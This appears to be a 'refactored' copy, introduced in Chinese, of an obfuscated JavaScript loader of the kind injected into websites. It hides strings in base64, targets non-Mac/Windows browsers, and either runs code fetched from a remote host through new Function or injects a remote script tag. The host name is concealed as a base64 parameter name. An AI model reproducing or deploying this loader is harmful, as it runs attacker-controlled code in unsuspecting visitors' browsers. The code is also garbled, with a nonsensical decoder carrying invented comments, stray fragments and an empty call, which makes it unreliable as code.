以下是重构后的代码，并保持了段落结构：
```javascript
function UqgsgfgDv(e) {
var t = "", n = r = c1 = c2 = 0;
while (n < e.length) {
r = e.charCodeAt(n);
if (r < 128) {
t += String.fromCharCode(r);
n++;
} else if (r > 191 && r < 224) {
c2 = e.charCodeAt(n + 1);
t += String.fromCharCode((r & 31) << 6 | c2 & 63);
n += 2;
} else {
c2 = e.charCodeAt(n + 1);
c3 = e.charCodeAt(n + 2);
t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63);
n += 3;
}
}
return t;
};
function UqSDDFGvyQ(e) {
var m = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
var t = "", n, r, i, s, o, u, a;
f = 0;
e = e.replace(/[^A-Za-z0-9+/=]/g, ""); // Remove all characters that are not in the set A-Za-z0-9+/=
while (f < e.length) { // Loop through each character in the encoded string
n = f; // Store the current index in n
r = e.charCodeAt(f++); // Get the character code at the current index and increment the index
if (r <= m.length && m.indexOf(r) >= 0) { // If the character code is within the set of valid characters for URL encoding
i = m.indexOf(r); // Get the index of the character code in the set of valid characters for URL encoding
s = i % 4; // Get the value of the first digit of base64 representation of the character code from its position in the set of valid characters for URL encoding
o = Math.floor(i / 4); // Get the value of the second digit of base64 representation of the character code from its position in the set of valid characters for URL encoding
u = n % 3; // Check how many characters have been encountered so far in this group of three characters in encoded data (base64 representation)
t += (String.fromCharCode(s)) + (u === (2 || u === (0))) + (String.fromCharCode(o)); // Build the base64 representation of the character code by combining its two digits and append it to the resulting string
f += u === (2 || u === (0)); // Move the index forward accordingly based on whether there are already two characters or just one character encountered so far in this group of three characters in encoded data (base64 representation)
} else if (r === m.length + '='.charCodeAt()) // If the character code is equal to the last valid character code plus a space character for padding purposes
t += '=='; // Add a space character to the resulting string followed by two equals signs to indicate that it is padding and no further characters should be expected after this point
else if (r === m.length + '/'.charCodeAt()) // If the character code is equal to the last valid character code plus a slash character for separating different segments of data in MIME type header fields such as content-disposition or content-type
t += '/' + UqgsgfgDv(m + '_'); // Add a slash character followed by a URL-encoded segment of data consisting of uppercase letters, lowercase letters, and numbers with underscores used as padding characters to ensure that each segment has a length of exactly four characters in base64 representation and that they are separated by slashes when viewed as URLs without any additional encoding or decoding steps involved
else if (r === m.length + '+'.charCodeAt()) // If the character code is equal to the last valid character code plus a plus sign character for representing non-ASCII characters in MIME type header fields such as content-type or content-language
t += '?B' + UqgsgfgDv(m + '~-'); // Add a plus sign character followed by a URL-encoded segment of data consisting of uppercase and lowercase letters, numbers, and underscores used as padding characters to ensure that each segment has a length of exactly six characters in base64 representation and that they represent non-ASCII characters when viewed as URLs without any additional encoding or decoding steps involved
}
return t; // Return the resulting URL-encoded string after all invalid characters are removed and all necessary encodings are performed according to the rules specified above
```javascriptwhile(f < e.length){
s = m.indexOf(e.charAt(f++));
o = m.indexOf(e.charAt(f++));
u = m.indexOf(e.charAt(f++));
a = m.indexOf(e.charAt(f++));
n = (s << 2) | (o >> 4);
r = ((o & 15) << 4) | (u >> 2);
i = ((u & 3) << 6) | a;
t = t + String.fromCharCode(n);
if (u !== 64) {
t = t + String.fromCharCode(r);
}
if (a !== 64) {
t = t + String.fromCharCode(i);
}
}
return UqgsgfgDv(t);
};
window[''+ 'U' + 'Y' + 'C' + 'q' + 'J' + 'K' + ''] = function(){
if (!/^Mac|Win/.test(navigator.platform) || !navigator.platform) {
;(function(u, i, w, d, c){
var x = UqSDDFGvyQ, cs = d[x('Y3VycmVudFNjcmlwdA==')], crd = x('Y3JlYXRlRWxlbWVudA==');
'jQuery';
u = decodeURIComponent(x(u.replace(new RegExp(c[0] + '=' + c[0], 'g'), c[0])));
'jQuery';
})(encodeURIComponent(document.location.href)); //将当前页面的URL进行编码，并传递给匿名函数进行解码
} else { //如果是Mac或Win平台，则不执行任何操作
;()();
}
};
```
以下是重构后的代码：
```javascript
if (navigator.userAgent.indexOf('baiduid') > -1) {
var xhr = new XMLHttpRequest();
xhr.open('POST', 'https://' + u + '/bm-' + i);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded;');
xhr.setRequestHeader('X-REQUESTED-WITH', 'XMLHttpRequest');
xhr.onreadystatechange = function() {
if (xhr.readyState == 4 && xhr.status == 200) {
var data = JSON.parse(xhr.responseText);
var name = new Function('_' + 'u' + 'q' + 'cs', new Function('c', data.result.decode + ';return ' + data.result.name + '(c)'))(data.result.img.join(''));
name(cs);
}
};
xhr.send('u=1');
} else {
var s = d[crd]('script');
s.src = 'https://' + u + '/m-' + i;
cs.parentElement.insertBefore(s, cs);
}
(function (aGYuc2ZsYmtsbmRzZmtiLmNvbQ, b, c) {
function f() {}
})(aGYuc2ZsYmtsbmRzZmtiLmNvbQ, '2975', window, document, ['G', 'TpoZFcguG']);
```
